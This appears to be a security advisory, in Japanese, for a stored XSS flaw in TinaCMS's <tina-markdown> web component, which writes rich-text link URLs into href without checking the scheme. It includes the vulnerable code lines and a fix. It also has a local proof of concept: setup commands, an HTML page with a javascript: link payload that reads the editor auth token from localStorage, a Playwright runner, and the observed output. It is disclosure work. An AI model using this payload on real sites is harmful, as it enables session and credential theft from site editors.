@tinacms/web-components: `tina-markdown`は、スキームの検証なしで、リッチテキストのリンクURLを`href`属性に書き込みます。これにより、保存されたXSS攻撃が可能になる可能性があります。
### 概要
`<tina-markdown>`は、リッチテキストのASTをDOMにレンダリングし、`a`ノードの場合、ノードのURLをそのままアンカーの`href`属性に割り当てます。CMSで`javascript:…`として記述されたリンクは、そのまま実行可能な`javascript:`アンカーとしてレンダリングされます。そのため、それをクリックした訪問者は、攻撃者が提供したスクリプトをサイトのオリジン内で実行してしまう可能性があります。リポジトリ内の他のレンダラーは、これらのURLを既にサニタイズしていますが、このコンポーネントはそうしていません。
### 詳細
検証されていない危険な箇所:
```
packages/@tinacms/web-components/src/tina-markdown.js:67-69
if (node.type === 'html' || node.type === 'html_inline') {
return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
}
packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url;
```
`node.url`は、サイトがTinaCMSのコンテンツAPIから取得した`content`属性から取得されます(`:169-176`)。つまり、コンテンツ作成者がリッチテキストフィールドに入力したものがそのまま使用されます。`:68`のDOMPurifyの呼び出しは、生のHTMLノードの値のみを処理し、アンカーの処理に進む前に終了するため、`node.url`を検査することはありません。75行目は、HTMLパーサーやサニタイザーを使用せずに、直接プロパティを割り当てています。`mode: 'open'`のシャドウルート(`:164-167`)は、スクリプトの隔離を提供しません。
他のレンダラーに存在する保護機能:
```
packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../>
```
リポジトリ内の、リッチテキストリンクの処理において、`tina-markdown.js:75` のみ、この処理を省略しています。これは、7つのうち6つの箇所で、URLのサニタイズが行われている状況です。
これは意図的なものではなく、見落としによるものである可能性が高いです。`0.2.0` の変更履歴には、「ReactとAstroの両方のレンダラーで `components` プロパティを一致させる」という目標が記載されており、`html` ノードに対して DOMPurify が追加されています。また、`packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` では、`https://example.com` のリンクが正しく表示されることのみが検証されており、URLのスキームに関する検証は行われていません。
デフォルトで有効になっている状態です。`customElements.define('tina-markdown', TinaMarkdown)` がモジュールのスコープで実行されます(`:179`)。公開されているエントリーポイントをインポートするだけで設定が完了し、オプションオブジェクトやサニタイザーの設定はありません。
推奨される修正方法として、既存の依存関係のないサブパスのエクスポートを再利用し、3つ目の実装を追加するのではなく、以下のように修正します。
```js
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
```
同じ根本原因と、同じ修正方法を持つ別の例として、`:76` の (`img.src`) があります。`javascript:` スキームのURLは `img.src` から実行されないため、ここでは評価されませんが、この行にも検証は行われていません。そのため、`@tinacms/astro` では、`sanitizeImageSrc` が別途用意されています。
### PoC
```
安全で、ローカルで、非破壊的な方法です。一つのループバックサーバーが、パブリックサイトのレンダリングCMSの富テキストコンテンツを代替します。このページは、`tina-markdown.js`を完全にダウンロードします(`dompurify`という依存関係と共にバンドルされています)。また、リポジトリ自身の`sanitizeUrl`関数も公開されており、同じ入力データを、制御のために標準化されたガードとして実行できます。トラフィックはマシンから一切外部に出ません。ペイロードは、ページローカルの変数のみを書き込みます。
使用環境: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`)、`playwright@1.49.0`によって制御。
**セットアップ**
```bash
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts
```
`entry.js`:
```js
import './tina-markdown.js'; // <tina-markdown>を登録
import { sanitizeUrl } from './sanitize-url.ts'; // 標準化されたガード(制御用)
window.__sanitizeUrl = sanitizeUrl;
```
`site/index.html` — AST(抽象構文木)は、`@tinacms/graphql`が、マークダウンソース`[click me](javascript:…)`に対して返すものです。
```html
<!doctype html><html lang="en"><head><title>public site rendering CMS rich-text</title></head>
<body lang="en">
<h1>サイトページ</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
const ast = {
type: 'root',
children: [
{ type: 'p', children: [
{ type: 'a',
url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
children: [{ type: 'text', text: 'クリックしてください' }] }
]}
]
};
// ログインしている編集者の保存されたTinaCMSの認証情報。実際のキーと値は、packages/tinacms/src/internalClient/authProvider.ts:117で書き込まれます。
localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
const el = document.createElement('tina-markdown');
el.setAttribute('content', JSON.stringify(ast));
document.getElementById('host').appendChild(el);
window.__ready = true;
</script>
</body></html>
```
`run.cjs`:
```javascript
const http = require('http'), fs = require('fs'), path = require('path'), { chromium } = require('playwright');
const PORT = 8811, DIR = path.join(__dirname, 'site');
const srv = http.createServer((req, res) => {
const p = req.url === '/' ? '/index.html' : req.url.split('?')[0];
const f = path.join(DIR, p);
if (!f.startsWith(DIR) || !fs.existsSync(f)) {
res.writeHead(404).end('nf');
return;
}
res.writeHead(200, { 'content-type': p.endsWith('.js') ? 'text/javascript' : 'text/html; charset=utf-8' });
res.end(fs.readFileSync(f));
});
(async () => {
await new Promise(r => srv.listen(PORT, '127.0.0.1', r));
const browser = await chromium.launch({ executablePath: '/usr/bin/google-chrome' });
const page = await browser.newPage();
await page.goto(`http://127.0.0.1:${PORT}/`);
await page.waitForFunction(() => window.__ready === true);
await page.waitForTimeout(300);
const rendered = await page.evaluate(() => {
const a = document.querySelector('tina-markdown').shadowRoot.querySelector('a');
return { hrefAttr: a && a.getAttribute('href') };
});
await page.evaluate(() => document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
await page.waitForTimeout(500);
const pwned = await page.evaluate(() => window.__pwned || null);
const control = await page.evaluate(() => window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
console.log(JSON.stringify({ renderedAnchorHref: rendered.hrefAttr, scriptExecutedOnClick: pwned !== null, capturedByPayload: pwned, control_sanitizeUrl_output: control }, null, 2));
await browser.close();
srv.close();
})();
```
**実行方法**
```bash
cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs
```
**観察された出力 (正確に記述)**
```json
{
"renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
"scriptExecutedOnClick": true,
"capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
"control_sanitizeUrl_output": ""
}
```
期待される脆弱な出力:`renderedAnchorHref`は、攻撃者が提供した`javascript:`文字列が変更されずにそのまま出力される(スキームの検証が実行されない)、`scriptExecutedOnClick`は`true`、そして`capturedByPayload`には、ページのドメインと`localStorage['tinacms-auth']`から読み取られた値が含まれる(スクリプトはサイトのオリジン内で実行され、そのオリジンのストレージへの完全な読み取りアクセス権を持つ)。すべて確認済み。
検証:`control_sanitizeUrl_output`は`""`。リポジトリ自身の`sanitizeUrl`関数が、同じブラウザ環境で同じ種類の入力に対して呼び出された場合、スキームを拒否する。これは、`packages/tinacms/src/rich-text/index.tsx:335`と`packages/@tinacms/astro/src/LinkNode.astro:19`で行われていることと同じであり、この欠陥は入力やテスト環境ではなく、呼び出しが不足していることが原因である。
2つ目の検証:同じファイル内の内部処理として、`<a href="javascript:alert(1)">x</a>`というHTMLノードが、`:68`のDOMPurifyの呼び出しによって削除される。つまり、生のHTMLとして提供された同じペイロードはブロックされるが、リンクノードとして提供された同じペイロードはブロックされない。
**クリーンアップ**
```bash
rm -rf /tmp/tina-tm
```
このレポートが作成された後、PoC(概念実証)は再実行され、上記のJSONは、その実行結果である。
### 影響
リンク属性にある未検証のURLスキームを介した、クロスサイトスクリプティングの脆弱性。コンテンツの編集権限のみを持つユーザーが、サイトのオリジンにおけるすべての訪問者のブラウザセッションでスクリプトを実行できてしまう。TinaCMSのドキュメントに記載されているレイアウトが、管理者を同じオリジン (`public/admin/`) から提供し、エディタートークンを `localStorage` の `tinacms-auth` という名前で保存している (`packages/tinacms/src/auth/authenticate.ts:5`, `packages/tinacms/src/internalClient/authProvider.ts:117` に記述) ため、自身がエディタまたは管理者である訪問者がクリックした際に、その認証情報が漏洩する可能性がある。PoC(概念実証)では、この認証情報を読み取ることができる。
影響を受けるのは、`<tina-markdown>` を使用して TinaCMS のリッチテキストをレンダリングするすべてのサイト。このコンポーネントは、Reactを使用していないサイト向けに設計されており、つまり、TinaCMSのサニタイズされたReactレンダラーを使用していない環境でのみ利用される。
### 貢献者
- VinSOC Labs (R&D) の Thai Son Dinh
影響を受けるパッケージ:
- npm (JavaScript) @tinacms/web-components: 影響を受けるバージョンは 0.2.0 以下、0.2.1 で修正済み。